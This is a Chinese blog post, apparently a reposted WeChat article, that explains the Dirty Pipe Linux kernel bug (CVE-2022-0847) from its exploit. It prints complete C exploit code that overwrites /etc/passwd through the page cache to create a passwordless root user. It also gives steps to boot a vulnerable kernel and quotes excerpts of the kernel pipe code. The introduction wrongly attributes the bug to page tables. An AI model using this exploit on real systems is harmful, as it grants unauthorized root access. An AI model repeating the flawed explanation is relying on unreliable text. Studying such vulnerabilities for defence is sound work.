从exp反推CVE-2022-0847dirtypipe原理

admin 2024年4月11日15:23:01评论5 views字数 4556阅读15分11秒阅读模式
从exp反推CVE-2022-0847dirtypipe原理

点击上方蓝字关注我哦

前情提要

qian qing ti yao
想着让小白也能懂这个原理
漏洞简介

CVE-2022-0847,也被称为"Dirty Pipe",是一个影响Linux内核的严重安全漏洞。这个漏洞存在于Linux内核的内存管理子系统中,攻击者可以利用这个漏洞在受影响的系统上执行任意代码,甚至可以获取系统的完全控制权。

"Dirty Pipe"漏洞的名称来源于它所影响的内核数据结构——页表。在Linux内核中,页表用于跟踪物理内存的使用情况,包括哪些内存页面已经被修改("脏")以及哪些还没有。由于一个设计上的缺陷,攻击者可以通过创建特殊的、恶意的页表条目来破坏页表的完整性,从而实现对系统的控制。


exp解释
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE 16

void SetCanMerge(int fd[2]){
char buf;
pipe(fd);
for(int i=0;i<PIPE_SIZE;i++){
write(fd[1],"a",1);
read(fd[0],&buf,1);
}
}

int main(){
int pipefd[2];
SetCanMerge(pipefd);
printf("[+]set all pipe page can merge donen");
int fd=open("/etc/passwd",O_RDONLY);

int ret=splice(fd,NULL,pipefd[1],NULL,1,0);
printf("[+]splice done,return value=%dn",ret);
write(pipefd[1],"oots:",5);
system("su roots");
}
  1. 定义了两个宏 PAGE_SIZE 和 PIPE_SIZE,分别表示页面大小和管道大小。

  2. PAGE_SIZE:内存页是操作系统管理内存的基本单位,它的大小通常取决于操作系统的设计和硬件架构。例如,在一些系统中,一个标准的页面大小可能是4KB(4096字节)。

  3. PIPE_SIZE:管道是Unix和类Unix系统中的一个传统IPC(进程间通信)机制。它允许两个进程之间以先进先出的方式传输数据流。所谓的PIPE_SIZE是指创建管道时,内核为该管道分配的缓冲区大小,这个大小会影响到一次能在管道中写入或读取的数据量。

  4. 定义了一个函数 SetCanMerge,该函数接受一个整数数组作为参数,用于设置管道的合并属性。

  5. 在 main 函数中,首先创建了一个名为 pipefd 的整数数组,用于存储管道的文件描述符。

  6. 调用 SetCanMerge 函数,将 pipefd 作为参数传入,以设置管道的合并属性。(将pipe的缓冲区填满(两个宏 PAGE_SIZE 和 PIPE_SIZE,分别表示页面大小和管道大小,并且每一次设置一标签(是否合并)

  7. 打印一条消息,表示管道的合并属性已设置完成。

  8. 使用 open 函数打开文件 /etc/passwd,并以只读方式获取文件描述符,将其赋值给变量 fd

  9. 调用 splice 系统调用,将文件描述符 fd 的内容复制到管道的写入端 pipefd[1](拷贝一个字节因为是零拷贝,所以它不是真正的拷贝,而是直接把缓存页给挂到了pipe缓冲区当中,因为描述符 fd和pipefd[1]的存在,直接写Page Cache绕过了权限检查)

  10. 打印一条消息,表示 splice 操作已完成,并显示返回值。

  11. 向管道的写入端写入字符串 "oots:"。

    由于第一个字节为零拷贝,这样的话/etc/passwd的第一行变成了roots::...,原本第一行的内容为root:x:...,中间的x表示此用户有密码,而我们把x取消掉了,那么我们生成了一个 uid 为 0 且没有密码的用户roots,
环境搭建编译运行exp
sudo apt install linux-image-5.8.0-63-generic
安装完成之后,reboot重启,开机界面按shift+TAB进入 ubuntu 引导界面,然后选择高级选项advance,选择我们刚刚安装的那个内核进入启动。
从exp反推CVE-2022-0847dirtypipe原理
成功替换指定的版本。

从exp反推CVE-2022-0847dirtypipe原理

1.root-roots

2.密码为0----roots::0:0:root:/root:/bin/bash

代码分析

从exp反推CVE-2022-0847dirtypipe原理

读和写对应的调用,它们在内核层名为pipe_readpip_write

/source/fs/pipe.c

fd[0]和fd[1]的来源

int do_pipe(int *fd){    struct file *fw, *fr;    int fdw, fdr;    //创建管道写端的file结构    fw = create_write_pipe();       //在写端的file结构基础上构建读端    fr = create_read_pipe(fw);    //创建读端fd    fdr = get_unused_fd();    //创建写端fd    fdw = get_unused_fd();    //fd 和 file进行关联    fd_install(fdr, fr);    fd_install(fdw, fw);    //返回读写端fd    fd[0] = fdr;    fd[1] = fdw;    ...    return 0;}

pipe_write:

static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
structfile *filp = iocb->ki_filp;
structpipe_inode_info *pipe = filp->private_data;
   unsigned int head;
   ssize_t ret = 0;
   size_t total_len = iov_iter_count(from);
   ssize_t chars;
   bool was_empty = false;
   bool wake_next_writer = false;

/* Null write succeeds. */
if (unlikely(total_len == 0))
return0;
__pipe_lock(pipe);
判断数据来源是否为0,是0就关闭交易


if (!pipe->readers) {
       send_sig(SIGPIPE, current, 0);
       ret = -EPIPE;
gotoout;
   }

   #ifdef CONFIG_WATCH_QUEUE
if (pipe->watch_queue) {
       ret = -EXDEV;
gotoout;
   }

   #endif
   head = pipe->head;
   was_empty = pipe_empty(head, pipe->tail);
管道是否为空,用头尾是否相等判断
    chars = total_len & (PAGE_SIZE-1);
PAGE_SIZE通常情况下来说大小是4096,刚好是一个 2 的 12 次幂,那么再 -1 相当于就是二进制的 12 个 1,再用 & 运算就是取得total_len最低的 12 位

if (chars && !was_empty) {
       unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;

if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
           offset + chars <= PAGE_SIZE) {
           ret = pipe_buf_confirm(pipe, buf);
if (ret)
gotoout;

           ret = copy_page_from_iter(buf->page, offset, chars, from);
  1. 计算一个掩码值,该值为管道的环大小减去1。

  2. 获取管道缓冲区的地址,该地址由头部指针减1后与掩码进行位与运算得到。

  3. 计算偏移量,该值为缓冲区的偏移量加上其长度。

  4. 检查缓冲区的标志位是否包含PIPE_BUF_FLAG_CAN_MERGE,并且偏移量加上chars是否小于等于PAGE_SIZE。如果这两个条件都满足,那么它将执行以下操作:

    • 调用pipe_buf_confirm函数确认管道缓冲区。

    • 如果返回值不为0,那么它将跳转到out标签。

    • 否则,它将调用copy_page_from_iter函数,将迭代器中的数据复制到缓冲区的页面中。

pipe_write后面的话其实没多大意义去分析了

Splice

splice的函数原型如下:

        

c复制代码运行

long splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);


参数说明:

  • fd_in:输入文件描述符,即要读取数据的文件。

  • off_in:输入文件的偏移量指针,指向要读取数据的起始位置。如果为NULL,则从当前文件位置开始读取。

  • fd_out:输出文件描述符,即要将数据写入的文件。

  • off_out:输出文件的偏移量指针,指向要写入数据的起始位置。如果为NULL,则从当前文件位置开始写入。

  • len:要传输的数据长度。

  • flags:控制传输行为的标志位,如SPLICE_F_NONBLOCK、SPLICE_F_MORE等

gdb调试

不知道为什么本地上没找到文件,额,写点gdb调试的基础方法吧               

  1. 编译带有调试信息的程序:在编译源代码时,使用-g选项来添加调试信息。

bash
gcc -g program.c -o program
  1. 使用GDB加载程序:通过gdb命令加载编译后的程序。

bash
gdb program
  1. 设置断点:在特定的代码行上设置断点,以便在执行到该行时暂停程序。

bash
b filename:line_number

例如,在main函数的第一行设置断点:

bash
b main.c:15
  1. 运行程序:使用r(run)命令运行程序,并将程序暂停在断点处。

bash
r
  1. 查看当前状态:可以查看当前的堆栈状态、变量值等。

  • 查看堆栈状态:info stack

  • 查看局部变量:info locals

  • 查看全局变量:info global

  1. 单步执行:使用n(next)命令单步执行程序,遇到函数调用时,可以进入函数内部。

bash
n
  1. 继续执行:使用c(continue)命令让程序继续执行,直到下一个断点或程序结束。

bash
c
  1. 打印变量值:使用p(print)命令打印变量的值。

bash
p variable_name
  1. 退出GDB:使用q(quit)命令退出GDB。

bash
q
关注一波
从exp反推CVE-2022-0847dirtypipe原理
从exp反推CVE-2022-0847dirtypipe原理
从exp反推CVE-2022-0847dirtypipe原理
理想·致敬每一个安全人
初心不改,筑梦未来

                                                  从exp反推CVE-2022-0847dirtypipe原理扫码关注后台回复“安全”

获取资料

点击菜单还有精美壁纸

原文始发于微信公众号(SQ安全渗透):从exp反推CVE-2022-0847dirtypipe原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月11日15:23:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从exp反推CVE-2022-0847dirtypipe原理https://cn-sec.com/archives/2647416.html

发表评论

匿名网友 填写信息